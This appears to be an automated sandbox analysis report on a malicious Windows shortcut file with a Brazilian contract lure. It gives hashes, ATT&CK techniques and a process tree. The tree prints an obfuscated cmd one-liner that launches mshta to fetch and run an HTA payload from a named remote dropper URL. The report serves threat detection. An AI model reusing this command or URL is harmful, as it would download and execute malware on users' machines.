ba4ca4d93368a42394eeee39afaf8c144095ab66076a2b20e938f81f1ab455e3

Analysis

max time kernel
148s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:45

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General

Target
Contrato_Indeniza_Brasil-HUO3CE.lnk
Size 1KB
Sample260803-py2f1azscv
SHA256 ba4ca4d93368a42394eeee39afaf8c144095ab66076a2b20e938f81f1ab455e3
MD5 c3e777b4cbb2f4d7cf969a69da7bb1c3
SHA1 4b1334ffaf07213e6c7410e8667bf53e7c06bffb
SHA512 edb56915669541530749670462f8e411c34737109cc229bc74801cb4fb0df4c2ab848b3cd403e57918672a0c3df700544c0e143dc7770ebea6d3081c83db815c
TLSH
T15D319C402AFD0654F2B78EB7457B67115DBBF9558E50C50D4144464C5022E01E97FF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4100	mshta.exe
3	4100	mshta.exe
5	4100	mshta.exe
6	4100	mshta.exe
7	4100	mshta.exe
8	4100	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5464	cmd.exe
2540	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2540 wrote to memory of 5464	2540	cmd.exe	90
PID 5464 wrote to memory of 4100	5464	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-HUO3CE.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2540
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set Vnqcs=msh&&set CcKo=ta&&start "" !Vnqcs!!CcKo! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5464
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:4100

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads